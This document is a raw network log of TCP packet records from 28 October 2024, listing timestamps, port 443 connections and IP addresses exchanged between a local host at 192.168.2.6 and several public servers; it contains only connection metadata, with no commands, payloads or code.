Oct 28, 2024 02:07:21.562489986 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.562537909 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.562589884 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.562681913 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.563031912 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.563097954 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.637068987 CET	49756	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.637093067 CET	443	49756	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.693339109 CET	443	49752	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.729569912 CET	49752	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.729649067 CET	443	49752	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.730447054 CET	49752	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.730460882 CET	443	49752	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.731000900 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.731038094 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.858638048 CET	443	49752	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.858705997 CET	443	49752	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.858812094 CET	49752	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.859026909 CET	49752	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.859072924 CET	443	49752	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.859103918 CET	49752	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.859117985 CET	443	49752	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.861747980 CET	49758	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.861808062 CET	443	49758	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.861869097 CET	49758	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.862046003 CET	49758	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.862066031 CET	443	49758	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.065149069 CET	443	49753	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.065696955 CET	49753	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.065707922 CET	443	49753	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.066016912 CET	49753	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.066021919 CET	443	49753	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.069957018 CET	443	49754	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.070314884 CET	49754	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.070369005 CET	443	49754	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.070719957 CET	49754	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.070733070 CET	443	49754	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.079231977 CET	443	49755	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.079571962 CET	49755	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.079586029 CET	443	49755	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.080049038 CET	49755	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.080054045 CET	443	49755	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.196204901 CET	443	49753	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.196512938 CET	443	49753	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.196640968 CET	49753	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.196640968 CET	49753	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.196672916 CET	49753	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.196686983 CET	443	49753	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.199345112 CET	49763	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.199393988 CET	443	49763	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.199464083 CET	49763	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.199624062 CET	49763	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.199640989 CET	443	49763	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.201123953 CET	443	49754	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.201277018 CET	443	49754	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.201343060 CET	49754	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.201395988 CET	49754	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.201419115 CET	443	49754	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.201437950 CET	49754	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.201447010 CET	443	49754	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.203682899 CET	49764	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.203723907 CET	443	49764	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.203777075 CET	49764	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.203922033 CET	49764	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.203941107 CET	443	49764	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.209367037 CET	443	49755	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.209614992 CET	443	49755	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.209707975 CET	49755	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.209789991 CET	49755	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.209801912 CET	443	49755	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.209815979 CET	49755	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.209820986 CET	443	49755	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.211817026 CET	49765	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.211838961 CET	443	49765	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.211904049 CET	49765	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.212132931 CET	49765	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.212152004 CET	443	49765	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.376341105 CET	443	49756	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.376775026 CET	49756	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.376794100 CET	443	49756	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.377233982 CET	49756	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.377245903 CET	443	49756	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.504738092 CET	443	49756	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.504930973 CET	443	49756	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.504992008 CET	49756	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.505028009 CET	49756	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.505044937 CET	443	49756	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.505054951 CET	49756	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.505059958 CET	443	49756	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.508408070 CET	49766	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.508452892 CET	443	49766	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.508534908 CET	49766	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.508681059 CET	49766	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.508697987 CET	443	49766	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.617320061 CET	443	49758	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.617912054 CET	49758	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.617924929 CET	443	49758	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.618685007 CET	49758	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.618690968 CET	443	49758	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.750406027 CET	443	49758	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.750643015 CET	443	49758	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.750731945 CET	49758	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.750902891 CET	49758	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.750902891 CET	49758	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.750924110 CET	443	49758	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.750933886 CET	443	49758	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.753668070 CET	49767	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.753717899 CET	443	49767	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.753792048 CET	49767	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.753968000 CET	49767	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.753983974 CET	443	49767	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.936052084 CET	443	49764	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.936522007 CET	49764	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.936561108 CET	443	49764	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.936953068 CET	49764	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.936961889 CET	443	49764	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.959964991 CET	443	49765	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.960390091 CET	49765	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.960413933 CET	443	49765	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.960788012 CET	49765	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.960793972 CET	443	49765	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.972744942 CET	443	49763	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.973114967 CET	49763	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.973141909 CET	443	49763	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:22.973505974 CET	49763	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:22.973512888 CET	443	49763	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.068061113 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:23.068089962 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:23.068293095 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:23.069961071 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:23.069968939 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:23.075784922 CET	443	49764	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.076029062 CET	443	49764	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.076106071 CET	49764	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.076144934 CET	49764	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.076158047 CET	443	49764	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.076172113 CET	49764	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.076178074 CET	443	49764	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.078799009 CET	49769	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.078830004 CET	443	49769	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.078916073 CET	49769	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.079051971 CET	49769	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.079070091 CET	443	49769	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.094377995 CET	443	49765	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.094620943 CET	443	49765	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.094827890 CET	49765	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.094827890 CET	49765	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.094827890 CET	49765	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.096976042 CET	49770	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.097047091 CET	443	49770	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.097134113 CET	49770	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.097294092 CET	49770	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.097311974 CET	443	49770	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.109980106 CET	443	49763	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.110027075 CET	443	49763	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.110140085 CET	49763	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.110356092 CET	49763	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.110369921 CET	443	49763	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.110407114 CET	49763	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.110414028 CET	443	49763	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.112864017 CET	49771	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.112898111 CET	443	49771	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.112993956 CET	49771	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.113121986 CET	49771	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.113133907 CET	443	49771	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.253242970 CET	443	49766	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.253809929 CET	49766	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.253820896 CET	443	49766	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.254376888 CET	49766	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.254383087 CET	443	49766	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.385059118 CET	443	49766	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.385231972 CET	443	49766	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.385350943 CET	49766	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.385405064 CET	49766	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.385421038 CET	443	49766	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.385427952 CET	49766	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.385435104 CET	443	49766	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.388197899 CET	49772	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.388230085 CET	443	49772	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.388375044 CET	49772	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.388570070 CET	49772	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.388587952 CET	443	49772	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.396691084 CET	49765	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.396701097 CET	443	49765	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.486690044 CET	443	49767	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.487298012 CET	49767	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.487330914 CET	443	49767	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.487839937 CET	49767	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.487845898 CET	443	49767	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.588872910 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:23.588898897 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:23.589030981 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:23.589191914 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:23.589205980 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:23.616238117 CET	443	49767	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.616707087 CET	443	49767	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.616770029 CET	49767	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.616827965 CET	49767	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.616841078 CET	443	49767	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.616874933 CET	49767	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.616882086 CET	443	49767	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.620069027 CET	49775	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.620094061 CET	443	49775	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.620167971 CET	49775	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.620450020 CET	49775	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.620459080 CET	443	49775	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.806890011 CET	443	49769	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.837279081 CET	49769	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.837292910 CET	443	49769	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.837327003 CET	443	49770	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.838187933 CET	49769	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.838192940 CET	443	49769	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.839421034 CET	49770	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.839468956 CET	443	49770	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.840102911 CET	49770	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.840118885 CET	443	49770	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.844033003 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:23.844129086 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:23.845129013 CET	443	49771	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.846574068 CET	49771	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.846585989 CET	443	49771	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.847138882 CET	49771	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.847142935 CET	443	49771	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.849668980 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:23.849683046 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:23.850079060 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:23.877258062 CET	49776	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:23.877284050 CET	443	49776	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:23.877347946 CET	49776	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:23.878603935 CET	49776	443	192.168.2.6	184.28.90.27
Oct 28, 2024 02:07:23.878614902 CET	443	49776	184.28.90.27	192.168.2.6
Oct 28, 2024 02:07:23.895919085 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:23.933501959 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:23.964374065 CET	443	49769	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.964786053 CET	443	49769	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.965147972 CET	49769	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.965223074 CET	49769	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.965250969 CET	443	49769	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.965261936 CET	49769	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.965267897 CET	443	49769	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.968511105 CET	49777	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.968583107 CET	443	49777	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.968735933 CET	49777	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.969019890 CET	49777	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.969049931 CET	443	49777	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.970341921 CET	443	49770	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.970457077 CET	443	49770	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.970520973 CET	49770	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.971026897 CET	49770	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.971050024 CET	443	49770	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.971082926 CET	49770	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.971096039 CET	443	49770	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.973777056 CET	49779	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.973800898 CET	443	49779	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.973898888 CET	49779	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.974118948 CET	49779	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.974144936 CET	443	49779	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.975322008 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:23.976301908 CET	443	49771	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.976356030 CET	443	49771	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.976414919 CET	49771	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.976629019 CET	49771	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.976629019 CET	49771	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.976639032 CET	443	49771	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.976654053 CET	443	49771	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.979295969 CET	49780	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.979321003 CET	443	49780	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:23.979415894 CET	49780	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.979567051 CET	49780	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:23.979588985 CET	443	49780	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.124622107 CET	443	49772	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.125086069 CET	49772	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.125122070 CET	443	49772	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.125540972 CET	49772	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.125545979 CET	443	49772	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.187747955 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:24.187823057 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:24.187844038 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:24.187875032 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:24.187886953 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:24.187903881 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:24.187917948 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:24.188013077 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:24.188019037 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:24.188739061 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:24.188807011 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:24.188816071 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:24.188919067 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:24.189049959 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:24.199583054 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:24.199590921 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:24.199609041 CET	49768	443	192.168.2.6	172.202.163.200
Oct 28, 2024 02:07:24.199613094 CET	443	49768	172.202.163.200	192.168.2.6
Oct 28, 2024 02:07:24.257138014 CET	443	49772	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.257457018 CET	443	49772	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.257519007 CET	49772	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.257589102 CET	49772	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.257613897 CET	443	49772	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.257627964 CET	49772	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.257633924 CET	443	49772	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.260322094 CET	49783	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.260350943 CET	443	49783	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.260487080 CET	49783	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.260631084 CET	49783	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.260651112 CET	443	49783	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.363656998 CET	443	49775	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.364902020 CET	49775	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.364916086 CET	443	49775	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.365417957 CET	49775	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.365422964 CET	443	49775	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.450258017 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.452685118 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.452702045 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.456820011 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.457016945 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.460874081 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.461034060 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.461040974 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.461061001 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.496659040 CET	443	49775	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.496721983 CET	443	49775	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.496782064 CET	49775	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.497124910 CET	49775	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.497124910 CET	49775	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.497139931 CET	443	49775	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.497148037 CET	443	49775	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.499604940 CET	49784	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.499641895 CET	443	49784	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.499727011 CET	49784	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.499847889 CET	49784	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:24.499859095 CET	443	49784	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:24.505989075 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.506000996 CET	443	49774	142.250.186.142	192.168.2.6
Oct 28, 2024 02:07:24.552810907 CET	49774	443	192.168.2.6	142.250.186.142
Oct 28, 2024 02:07:24.580352068 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:24.580403090 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:24.580487013 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:24.580717087 CET	49785	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:24.580735922 CET	443	49785	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:24.711679935 CET	443	49774	142.250.186.142	192.168.2.6
